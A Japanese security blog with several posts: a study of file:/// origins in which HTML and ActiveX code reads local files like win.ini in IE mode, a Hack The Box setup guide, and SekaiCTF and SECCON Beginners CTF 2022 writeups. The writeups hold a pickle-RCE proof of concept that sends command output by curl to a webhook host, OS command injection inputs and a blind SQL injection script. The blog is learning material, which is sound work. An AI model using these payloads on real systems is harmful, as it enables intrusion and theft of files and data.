よーでんのブログ

One for All,All for わんわんお!

file:/// の Origin について、一昔前のセキュリティリスク

この記事は IPFactory Advent Calendar 2022 の 8 日目の記事です。

qiita.com


LTネタの消化

こんにちは。y0d3nです。
先日サークル内で行われた LT大会で喋ったネタをブログにすることで Advent Calendarの枠を埋める作戦です。

まずは前提知識として Origin と SOP の簡単な概要について触れた後、それから思いついたことの検証の結果について述べます。

Origin

Webセキュリティを考えるうえでめちゃめちゃ重要な概念として挙げられる Origin 。

developer.mozilla.org

Origin はURL のスキーム (プロトコル)、ホスト (ドメイン)、ポートによって定義され、それら 3 つが全て一致したときのみ同一オリジンとして扱われます

https://example.com オリジン判定
https://example.com 同一
https://example.com/hoge/fuga 同一
https://example.com:443 同一
https://example.com:8080 異なる *1
http//example.com 異なる
http//www.example.com 異なる

ただ、Origin という概念があるだけでは仕方ありません。
Origin 単位でコンテンツを分離するセキュリティ機構として、SOPがあります。

Same Origin Policy

developer.mozilla.org

あるオリジンによって読み込まれた文書やスクリプトが、他のオリジンにあるリソースにアクセスできる方法を制限するセキュリティ機構です。
これだけでは少々わかりにくいので、図示してみましょう。

登場人物(?) は http://secret.comhttp://attacker.com です。

登場人物

それぞれ以下のようになっていると考えましょう。

  • http://secret.com : 利用者本人にしか開けないサイト
  • http://attacker.com : 攻撃者の用意した罠サイト

SOPがないWebでは以下のようなことが可能になってしまうことが考えられます。

SOPがないWeb

  1. 利用者が罠リンクか何かを踏んで http://attacker.com にアクセスする
  2. http://attacker.com のレスポンスとして、移行の手順を自動で行うスクリプトが返ってくる
    1. http://secret.com にアクセスする
    2. http://secret.com のレスポンスとして、利用者の秘密情報が返ってくる
    3. 秘密情報を http://attacker.com に送信する

こんなことができてしまったら、気軽にネットサーフィンもできませんね。

しかし、SOPがあることで、http://attacker.com を生成元とするスクリプトhttp://secret.comのレスポンスを取得できなくなります。(リクエスト自体は送信できる(実際は少し制限があるけど今回は気にしない))

SOPがあるWeb

SOP を利用することで安全にネットサーフィンができます。

Origin の継承

さて、ここからが本題です。
about:blankjavascript:のURLから実行されたスクリプトは、そのURLを開いた Origin を継承します。

url.spec.whatwg.org

例えば、以下のようにした href の中には明示的なオリジンがありません。

<a href="javascript:alert(document.domain)">alert</a>

javascript スキームでは Origin が継承されるため document.domain はその時に開いているドメインとなります。

alert

他のパターンも見てみましょう。
いくつかピックアップします。

  • http://example.com/... のように明示的なドメインが設定されている場合は Origin が新しいものに切り替わる
  • data: スキームでは "空"(empty) になる
  • file: スキームでは "不透明"(opaque) と表現されている

html.spec.whatwg.org

opaque というのは null でシリアル化された Origin のようです。
file: を使ってローカルファイルをブラウザで開いた際は opaque と呼ばれる特徴的な Origin になるらしいことがわかります。

Opaque

file: を使用してローカルファイルを開いた時のことを想像してみます。

  • 適当なパスを指摘してファイルを開くことができる
  • それらは全て null でシリアル化された Origin がセットされる

ここで「ローカルにダウンロードした悪意あるHTMLをブラウザで開いた際、ローカルの任意ファイルが同一オリジンとして扱われてしまうのでは?」という考えがよぎりました。
ダウンロードした得体の知れない exe は流石に開きませんが、htmlくらいだったらつい開いてしまいそうです。

file

試してみましょう。
「ダウンロードしたHTMLをブラウザで開く」という状況なので、ダウンロードフォルダに適当なHTMLファイルを作成します。

iframesecret.txt を読み込み、それを JS で盗むという流れを試してみます。

<body>
    <script>
        var iframe = document.createElement('iframe');
        iframe.onload = function () { alert(document.getElementsByTagName("iframe")[0]
       .contentWindow.document.documentElement.innerHTML); };
        iframe.src = './secret.txt';
        document.body.appendChild(iframe);
    </script>
</body>

blocked

ちゃんと、"null" の Origin からは cross-origin frame にアクセスできないようになっていました。

some browsers

developer.mozilla.org

このリンクは先ほども貼りましたが、一部引用します。

Note that the URL specification states that the origin of files is implementation-dependent, and some browsers may treat files in the same directory or subdirectory as same-origin even though this has security implications.

「... some browsers may treat files in the same directory or subdirectory as same-origin ...」の部分が興味深いですね。
こういう時の「some browsers」で想像するブラウザはなんでしょうか。

はい。IEですね。

Edge の IE モードを使用して試してみます。

iframe secret.txt

secret.txt の中身にアクセスできました。

さて、先ほど引用した mozilla の文章には「same directory or subdirectory」とありましたが、それも怪しいです。
任意ファイル開けるかな~と思って file:///C:/Windows/win.ini を開こうとしたら iframe で読み込んだ時点でダウンロードをしようとして来て焦りました。

iframe win.ini

ActiveXObjectを利用してレスポンスを取得し、alert するように書いてみました。

<body>
    <script>
        var httpReq = new ActiveXObject('Msxml2.XMLHTTP.6.0');
        httpReq.onreadystatechange = cons;
        httpReq.open('get', "file:///C:/Windows/win.ini", true);
        httpReq.send(null);

        function cons(e) {
            alert(httpReq.responseText)
        }
    </script>
</body>

ActiveXObject win.ini

ローカルの悪意あるHTMLファイルを開いただけで任意ファイルにアクセスできることが確認できました。
先ほども述べましたが、「exe とかは流石に開かないよ」って人もhtmlだったら平気で開きそうなので怖いですね。

IE等を使わないと再現しないため現代ではほぼ気にしなくてよさそうですが、他にもセキュリティリスクが眠っていることがありそうですのでダウンロードしたファイルは気を付けるようにしたいですね。
オリジン、とてもよくできていて関心することばかりです。


最後までご覧いただきありがとうございました。

この記事は IPFactory Advent Calendar 2022 の 8 日目の記事です。

qiita.com

昨日は HARU くんによる「ゲーム制作における画像素材の大変さ」でした。

qiita.com

作ったゲームを学校の文化祭で展示したり、他にもいろいろゲーム作ったりしていてすごいこです。ぜひご覧ください。

さて、明日の枠が埋まっていません。命のリレーは途切れてしまうのでしょうか。

そんなことを言っていたらまたまた HARU くんが命のリレーを引き継いでくれました。 たのしみですね

*1:IEではOriginにポート番号が考慮されないため、同一として扱われていました

Windows で Hack The Box を楽しむ

この記事は IPFactory Advent Calendar 2022 の 3 日目の記事です。

qiita.com


WSLgの恩恵でHTB攻略が案外快適だった話

こんにちは。y0d3nです。
最近、WSL2 で割と快適に Hack The Box(以降HTB) をプレイできることに気付いてチマチマやってたらランクがHackerになりました🙌

Advent Calendar の 12/3 の分を 12/3 に書いています。
せっかくなら Writeup まで書きたいですが、マシンがリタイアするまで待っていたら Advent Calendar に間に合わないため Writeup とかは無しで取り組み方のみを書きます。
ということで、HTB をやってみたい方というのが主なターゲットになります。

また、WSL2の話なのでホストOSが Windows な人を対象としています。
僕は正直なところホストを Windows にしているポジティブな理由はあまりないのですが、同様にわざわざ UNIX 系とかにする理由もないので Windows を使っているという状況です。
WSL2 の登場によりWindows派に偏りましたが、やはりWSLであることが原因で疲弊することも多いので難しいですね。

WSLg

learn.microsoft.com

WSLg を使用すると、WSL で Linux GUI アプリを実行できるようになります。
最初は「ふーん」程度で面白半分にセットアップしていましたが、後々便利さに気付くことになりました。

xeyes

Precious

今回は最近追加された Easy マシンの Precious をチョイスしました。
調査以上の事は書かないので解法等は載せていません。あくまで取り組み方について書いています。

Join を押すとIPアドレスが表示されます。今回は 10.10.11.189 でした。

Machine IP

VPN

HTBをやるにあたり、Windows 勢のほとんどが躓くと思われるのがVPN接続です。
僕は前は WindowsOpenVPN GUI for Windows とかを利用していましたが、これ結構めんどくさいんですよね。
全部の通信がVPNに行ってしまうのもちょっと気持ち悪いです。

Kali で openvpn コマンドを利用すれば VPN の接続もシンプルに済みますし、 WSL の通信のみを VPN 経由にできます。
ファイル名はちょっと編集してますが、気にしないでください

openvpn

参考までに、僕は VPN server は US Free1 で、PROTOCOL は UDP 1337 を利用しています。
この辺は結構いくつもパターンを試しながら接続を試してた覚えがあります。うまく接続できなかったらいろいろ変えながら様子を見ましょう。

上手く接続できていれば、ip a を実行した際に tun で 10.10.~IPアドレスが生えてるはずです。

ip a

ポートスキャン

今回のマシンのIPアドレス10.10.11.189 です。
まずはポートスキャンをすると、22 と 80 が空いてることがわかります。

mynmap

mynmap は以下のようにしています。これは確かHTBチュートリアルで拾ってきたやつを alias 用に改変したやつなはずです。

mynmap ()
{
        ports=$(sudo nmap -p- --min-rate=1000 -T4 $@ | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
        echo $ports
        sudo nmap -sC -sV -p$ports $@
}
alias mynmap="mynmap"

結局 nmap はどういうオプションが良いのかわかりません。誰か教えてください。

Port 80

先ほど、80 番ポートが空いていることがわかりましたね。
nmap の出力からちょっと察せますが、一応 curl で様子を見てみます。

curl -I

Location: http://precious.htb/ とありますが、このパターンはホスト名がIPアドレスのままでは開けないWebページということです。
が、http://precious.htb/ にアクセスしようとしても名前解決できなくてアクセスできません。

could not resolve

/etc/hostsで以下のように記述すれば名前解決できます。

10.10.11.189    precious.htb

名前解決の設定ができたら curl してみるとちゃんと Web ページが返ってくることがわかります。

curl precious.htb

ただ、このままでは使いにくいにもほどがありますね。
ここで WSL2 の本領発揮です。

Firefox

Kali に firefox-esr を入れているため、firefox コマンドで FirefoxGUI で起動できます。

firefox

この Firefox は WSL2 上で動いているため、当然 VPN を経由しますし /etc/hosts で設定したホスト名を利用できます。
http://precious.htb にアクセスすれば Web ページにアクセスできます。

firefox precious.htb

OpenVPN GUI for Windows でやっていると、hosts ファイルも C:\Windows\System32\drivers\etc\hosts とか言う覚えにくいパスのファイルを管理者権限で編集しないといけません。

Burp

普通に Burp とかも GUI で起動できます。他にもいろいろできますね。
ここまで GUI が整うとめちゃめちゃ快適に解けます。

burp

その他嬉しい事

そして、一番うれしいのがリバースシェルとかHTTPサーバ立てたりとかがめちゃめちゃやりやすい事です。
これ、OpenVPN GUI for Windows を使っているとめちゃめちゃ困ります。

リバースシェル

HTTPサーバ

これが嬉しくてHTBを継続できてるまであります。リバースシェルからしか得られない栄養素があります。

がんばる

GUIアプリの起動ができて、サーバを立てたりとかも不自由なくできることがわかりました。

では、あとは解くだけですね。
解法は書きませんので、チャレンジする場合は頑張ってください。


最後までご覧いただきありがとうございました。

この記事は IPFactory Advent Calendar 2022 の 3 日目の記事です。

qiita.com

昨日は n01e0 による「花金」でした。

feneshi.co

明日はなんと 1 年生である piza さんが枠をとってくれています。
たのしみですね。

SekaiCTF 2022

  • [Web] Bottle Poem
  • [Misc] Console Port
  • [PPC] Let's Play Osu!Mania
  • [Misc] Sus
  • [Reverse] Perfect Match X-treme

writeup

Webだけは詳しく書きます。

[Web] Bottle Poem

Come and read poems in the bottle.

No bruteforcing is required to solve this challenge. Please do not use scanner tools. Rate limiting is applied. Flag is executable on server.

Author: bwjy

Discordでめっちゃ騒がれてるのを眺めながら解いてた。
アクセスすると、リンクが三つ。どれもWilliam Blakeさんのタイトルになっている。

Bottle Poem - top

試しに Spring を開いてみると、歌詞がtxtで表示される。内容は関係なさそう。

Sound the Flute!
Now it's mute.
...

この時のURLは /show?id=spring.txt となっており、いかにもパストラバーサルという感じ。
試しに id=/etc/passwd とかやってみると /etc/passwd が盗めた。

Bottle Poem - /etc/passwd

さて、この問題はここからが本題。
パストラバーサルはできたが、ソースコードも無いのでflagがどこにあるのかわからない。

guessかと思ってflag.txtとか/flagとかやっても何もなし。
パストラバーサルで思いつく限りのファイルを見ていく時間が発生していた。

/proc/self/cmdline から、python3 -u /app/app.py という情報が手に入る。
/app/app.py で問題のソースコードが手に入る。

from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re

@route("/")
def home():
    return template("index")

@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile

@error(404)
def error404(error):
    return template("error")

@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"

if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

ソース読んだ感じ、判明したのが以下。

  1. bottle というフレームワークを使ってることがわかる。
  2. from config.secret import sekai 相対パスimport している。
    • secretd "/sign"cookie 生成で使ってる。
  3. bottletemplate という関数でテンプレートファイルをよしなにしてそう。
    • index , error , guest , admin の4つのテンプレートファイルがある
  4. @route("/sign") という新しいパスが見つかる。
    • guest と admin の二つの権限次第で返ってくるテンプレートファイルが変わる。

一つずつ解決していく。

a - bottle

bottleの深掘りはめんどそう。もっと怪しいのが何個かあるので、とりあえずスルー

b - secret

from config.secret import sekai という書き方から相対パスがわかるので、パストラバーサルで盗んじゃう。

/app/config/secret.py でseretの中身が判明する。
このsecretでcookieを生成しているので、後々使えそう。

sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

c,d - template

index , error , guest , admin という名前のテンプレートファイルがある。
bottle の template 関数の挙動がわかれば、cookieの改ざんをせずにパストラバーサルでadminのテンプレートファイルも盗めそう。

bottle のドキュメントを漁っていたら丁度よさそうなのを見つけた。

bottle - templates

bottlepy.org

./views/{template の第一引数}.tpl という名前のテンプレートファイルが自動で開かれるっぽい。
/app/views/index.tpl で盗もうと試みるが、ファイルがない。

もうちょっと調べてたら bottle のソースが見つかったのでテンプレート周りの処理を見てみる。

class BaseTemplate(object):
    """ Base class and minimal API for template adapters """
    extensions = ['tpl', 'html', 'thtml', 'stpl']

bottlepy.org

['tpl', 'html', 'thtml', 'stpl'] の4つの拡張子のどれかだったら自動で開かれそうな雰囲気がある。
試しに /app/views/index.html でアクセスしてみたらテンプレートファイルが盗めた。

さっきいかにも怪しく見えた admin のテンプレートファイルを盗む。

/app/views/admin.html

Hello, you are {{name}}, but it’s useless.

name 変数は admin が入るはずなので、本当に特に何もないっぽい。残念。

(なぜか error のテンプレートだけは見つからなかった。適当に存在しないページをGETすると「Critical error while processing request: /404」と表示される。これはデフォルトの処理エラーっぽい。)

再び a - bottle

手詰まりになってしまったので、bottle の深掘りをしていくことにする。

余談だが、パストラバーサル/proc/self/environ環境変数などからコンテナを特定、pipのインストール先ディレクトリを特定できたので、bottleのソースを盗んでバージョンも特定した。

/usr/local/lib/python3.8/site-packages/bottle.py

__version__ = '0.12.23'

bottle のソースが変更されてないことも確かめることができたので、安心してroute, run, template, request, response, error あたりのドキュメントを読み込んでいく。

cookieのドキュメントを読んでいるときに、かなり興味深い一文が見つかった。

Signed cookies may store any pickle-able object and are cryptographically signed to prevent manipulation. Keep in mind that cookies are limited to 4kb in most browsers.

bottlepy.org

pickle-able という部分。pythonでpickleといえば、RCEだ。
pickleは過去にwriteupにも書いてたので結構記憶に残っていてすぐにピンときた。

y0d3n.hatenablog.com

cookieあたりのソースを見ても pickle.loads とかしてるので行けそうだ。

bottlepy.org

今回は {"name": "guest"} の部分を {"name": cmd} にすることでコマンド実行ができた。
コマンド実行後の結果は返ってこないので、curlでwebhook系サーバに送る。

mrtc0.hateblo.jp

このあたりを参考にPoCを書く。

import pickle, base64, hmac, requests, sys, os

sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
class cmd(object):
    def __reduce__(self):
        payload = 'ls | curl {url} -X POST -d @-'
        return (os.system, (payload,))

#session = {"name": "guest"}
session = {"name": cmd()}
p = pickle.dumps(('name', session))
msg = base64.b64encode(p)
sig = base64.b64encode(hmac.new(sekai, msg).digest())
c = '!'+sig+'?'+msg
print c
print requests.get("{url}", cookies=dict(name=c)).text

ls / したら /flag が見つかる。
cat /flagしてもうまくいかなくて「??」になったが、file /flagしたら実行ファイルだった。問題文の"executable"はそういうことか。
/flag で実行すればflag。

思ったよりsolve数結構多くてびっくりしてました。

[Misc] Console Port

– Hey Miku, here’s the manual. Can you help me port the game to consoles?
– Sure, no problem.

[ 1 week later... ]

– Hey Miku, how’s the porting going?
– I just finished it today, wanna take a look?
– Sure, which console did you port it to?
– Huh...? What do you mean “which console”?

Author: pamLELcu

ゲームをconsoleに移植したらしい。 (最初、マニュアルに日本語があることに気付かずにちょっと苦労してた)

www.bombmanual.com

マニュアル曰く、「完全爆弾解除マニュアル:KEEP TALKING and NOBODY EXPLODES」というタイトルらしい。
結構複雑な手順を踏んで、爆弾を解除する。有名なゲームなのかな?

問題文にsttyコマンドで接続する方法が書かれてるので、とりあえず言われるがまま接続する。

Console Port

(WindowsターミナルからWSLをいじってるが、WSLのアプリから直接いじると文字化けしてとてもプレイできない)

あとはマニュアル通りに爆弾を解除するだけ。

Who's on first に限り、ボタンが英語なのでマニュアルは英語の方を見ないと解けない。 気合いで爆弾を解除したらflagをくれた。

[PPC] Let's Play Osu!Mania

ルールがPDFで渡される。英語PDFだいぶ厳しい ><

以下のような入力が与えられ、音ゲーの譜面のように見る。

  1. n 最初に行数の指定
  2. | は端っこを意味する。意味なし。
  3. - はノーツ (タップ)
  4. -の後に# が来た場合、長押し。再度-が来たら終了。(ホールド)
  5. (空白)は何もなし
13
|-- -|
| #  |
| #- |
| #  |
| - -|
|-   |
| - -|
|    |
|  --|
|- # |
| -# |
|  # |
|  - |

出力はオブジェクトの総数(タップ・ホールド)の個数。
タップはシンプルに1個ずつカウント。
ホールドは - で始まって # が間にあり、 - で終わるまでを 1 としてカウントする。
今回の入力例の場合、12が答え。

Osu

いい感じに数える方法を考える。

n-1行目まで、次が#でない-をカウントし、n行目は-をカウントすることで解ける。
言語にgoが用意されてて助かった。。

package main

import (
    "bufio"
    "fmt"
    "os"
    "strconv"
    "strings"
)

func main() {
    in := bufio.NewScanner(os.Stdin)
    in.Scan()
    var n int
    n, _ = strconv.Atoi(in.Text())

    a := make([][]string, n)
    for i := 0; i < n; i++ {
        a[i] = make([]string, 6)
        in.Scan()
        for j, v := range strings.Split(in.Text(), "") {
            a[i][j] = v
        }
    }

    var cnt int
    for i := 0; i < n-1; i++ {
        for j := 1; j < 6-1; j++ {
            if a[i][j] == "-" {
                if a[i+1][j] != "#" {
                    cnt++
                }
            }
        }
    }
    for j := 1; j < 6-1; j++ {
        if a[n-1][j] == "-" {
            cnt++
        }
    }

    fmt.Println(cnt)
}

[Misc] Sus

Someone sent this file to me, claiming he got it from a SEKAI where the palette is not colorful but purple. I had no idea what he was talking about – I only find it really sus.

Author: pamLELcu

SEKAI.sus というファイルが渡される。
#{数字5桁}: {数字} という形式でかなり長い。

#00008:01
#00114:12120000
#00118:0026000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
#00116:0000000000000000001200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
#00112:00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000121600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
#00212:22
...

全く意味がわからなかったのでsusを調べてたら、音ゲーの譜面にたどり着いた。
「sus 創作譜面」や「SusPlayer」など。

SusPlayerのようなソフトがあればsusを読み込むことができそうだ。

調べてるとChedというのが見つかった。

github.com

sus形式のエクスポートをサポートしてるソフトウェアのようだが、プラグインで「プロセカのテクスチャで表示」と「susを読み込む」という二つが用意されてる。

wiki.purplepalette.net

恐る恐るダウンロードして環境を整えたらsusが開けた。
デフォルトではCHUNITHMの表示のようだ。

プラグインでプロセカ表示にしたら見やすかった。

Sus

譜面でflagが書かれている。(2Zだと思ってincorrect喰らってた)

[Reverse] Perfect Match X-treme

Can you qualify Fall Guy’s Perfect Match and get the flag? Author: sahuang & enscribe

Perfect_Match_X-treme.zipが渡される。Unityっぽくてファイルがかなり多い。

とりあえずgrepで平文保存をお祈りしてたらバイナリファイルが引っかかった。

$ grep -rwn SEKAI .
Binary file ./PerfectMatch_Data/level0 matches

stringsしてみる。

$ strings PerfectMatch_Data/level0
...
L>333?
L>333?
SEKAI{F4LL_GUY5_
fff?fff?
Qualified!
1LL3G4L}
H3CK_15_
Horizontal
Vertical
Submit
Cancel
Analog X
Analog Y
=333?
Jump
Sprint

flagっぽいのが見える。SEKAI{F4LL_GUY5_1LL3G4L} かと思ったが、fall_guys_illegalだとかなり不味い文章なので、近くに見えてた H3CK_15_ を間に挟んだら正解だった。

Survey

39(ミク)点のSurvey。
筆記体のflagを読むのが一番難しかった。(送信後のページにテキストで書いてあるのが見えた。即閉じたので見間違いかもしれないけど)

Survey

Console PortとOsu、Surveyで久しぶりに言語の違いを感じた。
翻訳ツールが使えない・使いにくい問題は辛い。。

とはいえBottle Poemかなり楽しかったです。お疲れ様でした。

SECCON Beginners CTF 2022

SECCON Beginners CTF 2022 Web writeup

チームメイトの力を借りながらではありますが、去年に引き続きWebを埋めることができて良かったです。
去年より格段に難しかったなと思います。(去年はmagicが自分の作問stackにあったというのもあるが・・・)

web

challenge logs

自分はWebでtextex以外のflagを通したので、それらのwriteupを書いていきます。

Util - 54pt (Rank 2/460)

ctf4b networks社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも...?

(注意) SECCON Beginners運営が管理しているサーバー以外への攻撃を防ぐために外部への接続が制限されています。

アクセスするとpingしてくれそうなページ。

Util - top

BeginnerでpingならOS Command injectionだろうとということで127.0.0.1 | lsとか入れたくなるが、「Invalid IP address」と言われてしまう。
jsで入力チェックをしていた。

if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) {

クライアント側でしかvalidationされていないので、よしなに改ざんする。

Util - ping|ls

OS Command injectionできている。
同様にls / を実行すると以下のような結果になる。

{"result":"app\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}

flagのファイル名が判明するので、cat /flag_A74FIBkN9sELAjOc.txtすればflagが手に入る。

{"result":"ctf4b{al1_0vers_4re_i1l}\n"}

ctf4b{al1_0vers_4re_i1l}

gallery - 83pt (Rank 62/156)

絵文字のギャラリーを作ったよ! え?ギャラリーの中に flag という文字列を見かけた?

仮にそうだとしても、サイズ制限があるから flag は漏洩しないはず...だよね?

gallery - top

事後報告、LGTMのスタンプがgif, jpeg, pngで用意されていて、
https://[url]/?file_extension=gif でgifのファイルを絞り込むことができる。

それぞれのスタンプは/images/jigohoukoku.gif のようなパスで開ける。

絞り込みの仕組みとしては、file_extensionに指定した文字が含まれているかどうかでやっているっぽい。

   for _, file := range files {
        if !strings.Contains(file.Name(), fileExtension) {
            continue
        }
        res = append(res, file.Name())
    }

適当にfile_extension=fにしたらflagのファイル名が判明した。

gallery - f

ということで/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfにアクセスしたいが、middlewareによってファイルサイズに制限がかかっている。

func (w *MyResponseWriter) Write(data []byte) (int, error) {
    filledVal := []byte("?")

    length := len(data)
    if length > w.lengthLimit {
        w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
        return length, nil
    }

    w.ResponseWriter.Write(data[:length])
    return length, nil
}

func middleware() func(http.Handler) http.Handler {
    return func(h http.Handler) http.Handler {
        return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
            h.ServeHTTP(&MyResponseWriter{
                ResponseWriter: rw,
                lengthLimit:    10240, // SUPER SECURE THRESHOLD
            }, r)
        })
    }
}

/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfにアクセスすると16085個の?が返ってくる。
ファイルサイズの制限を避けてGETしたい。

ちょっとかんがえていたら、この間読んだ「HTTPの教科書」という本にRangeというヘッダーが書いてあったことを思い出した。 HTTPヘッダにRange: bytes=0-10000とつけてリクエストしたらpdfっぽいのが10001byte分返ってきた。

gallery - 0-10000

同様に10001-20000でGETしたらEOFがでてきた。
二つをburpからcopy as curl、結合してpdfにする。

$ curl -s -k -X $'GET'     -H $'Host: gallery.quals.beginners.seccon.jp' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: ja,en-US;q=0.7,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: https://gallery.quals.beginners.seccon.jp/?file_extension=pdf' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' -H $'Te: trailers' -H $'Connection: close' -H $'Content-Length: 0' -H $'Range: bytes=0-10000'     $'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' > mae
$ curl -s -k -X $'GET'     -H $'Host: gallery.quals.beginners.seccon.jp' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: ja,en-US;q=0.7,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: https://gallery.quals.beginners.seccon.jp/?file_extension=pdf' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' -H $'Te: trailers' -H $'Connection: close' -H $'Range: bytes=10001-20000'     $'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' > usiro
$ cat mae usiro > a.pdf

gallery - flag

ctf4b{r4nge_reque5t_1s_u53fu1!}

serial - 109pt (Rank 35/83)

フラッグは flags テーブルの中にあるよ。ゲットできるかな?

serial - top

アクセスするとログインフォーム。
問題文からしてSQLiだと思うが、とりあえずログインするとtodoリストだった。

serial - todo

database.phpとかいういかにもなファイルからSQLiできそうなところを探すと、findUserByNameだけSQLを文字列結合でやっていた。

<?php
  :
    public function findUserByName($user = null)
    {
        if (!isset($user->name)) {
            throw new Exception('invalid user name: ' . $user->user);
        }

        $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
        $result = $this->_con->query($sql);
        if (!$result) {
            throw new Exception('failed query for findUserByNameOld ' . $sql);
        }

        while ($row = $result->fetch_assoc()) {
            $user = new User($row['id'], $row['name'], $row['password_hash']);
        }
        return $user;
    }

findUserByNameを呼び出してるところを探してみると、users.phpが使えそうだとわかる。

<?php
  :
function login()
{
    if (empty($_COOKIE["__CRED"])) {
        return false;
    }

    $user = unserialize(base64_decode($_COOKIE['__CRED']));

    // check if the given user exists
    try {
        $db = new Database();
        $storedUser = $db->findUserByName($user);
    } catch (Exception $e) {
        die($e->getMessage());
    }
    // var_dump($user);
    // var_dump($storedUser);
    if ($user->password_hash === $storedUser->password_hash) {
        // update stored user with latest information
        // die($storedUser);
        setcookie("__CRED", base64_encode(serialize($storedUser)));
        return true;
    }
    return false;
}

CookieからunserializeしてfindUserByNameを呼び出している。
unserializeもただやってるだけなので、Cookieを書き換えれば反映される。

適当にログインしたときのCookieが以下。

Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjI6IjE5IjtzOjQ6Im5hbWUiO3M6NToieW9kZW4iO3M6MTM6InBhc3N3b3JkX2hhc2giO3M6NjA6IiQyeSQxMCQyek5YNU1relVtaS44T2FsWWp0a1RlZlEzTHA0a0RQMDlSaWFGR3FjbjhFamRLaHk1djdaQyI7fQ%3D%3D

URLデコードしてbase64デコードする。

O:4:"User":3:{s:2:"id";s:2:"19";s:4:"name";s:5:"yoden";s:13:"password_hash";s:60:"$2y$10$2zNX5MkzUmi.8OalYjtkTefQ3Lp4kDP09RiaFGqcn8EjdKhy5v7ZC";}

s:5:"yoden"; の部分を s:1:"'";に書き換えてbase64エンコード・URLエンコードしてアクセスするとエラーが返ってくる。

failed query for findUserByNameOld SELECT id, name, password_hash FROM users WHERE name = ''' LIMIT 1

あとはSQL injectionしていく。
自分はBlindだと思い込んでsleepさせたが、結構普通に解ける様だった。

import base64
import requests
import urllib.parse

from string import Template, ascii_lowercase, ascii_uppercase

abc = """ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"""
template = """O:4:"User":3:{s:2:"id";s:4:"3280";s:4:"name";s:80:"a' and 1=(select if(substring((select body from flags),$idx,1)='$flg',sleep(1),'a'));#";s:13:"password_hash";s:60:"$2y$10$s1v1vH34usRHYipKkUgrA./Lg3bnIycLhkLzquAjjWoV69RqA4mja";}"""
#                                                             ^ $idxが二桁になったら81にする
flag = "ctf4b{"

for i in abc:
    print("\r"+ i, end="")
    requests.get("https://[url]/", cookies={"__CRED":urllib.parse.quote(base64.b64encode(Template(template).safe_substitute(idx=len(flag)+1,flg=i).encode()))})

実行すればSで遅延する。しばーらく返ってこないので都度Ctrl+Cして実行しなおすのが速かった。
半自動でしばらく繰り返してflagゲット。

ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}

作問者writeupを読んだら、以下のようにやればCookieにセットされたらしい。たしかに。。。。。。。。。

' UNION SELECT 'hoge', body, '$2y$10$2zNX5MkzUmi.8OalYjtkTefQ3Lp4kDP09RiaFGqcn8EjdKhy5v7ZC' FROM flags --

Ironhand - 147pt (Rank 26/42)

Treadstone、Blackbriar、そして...?

アクセスするとログインフォーム。

Ironhand

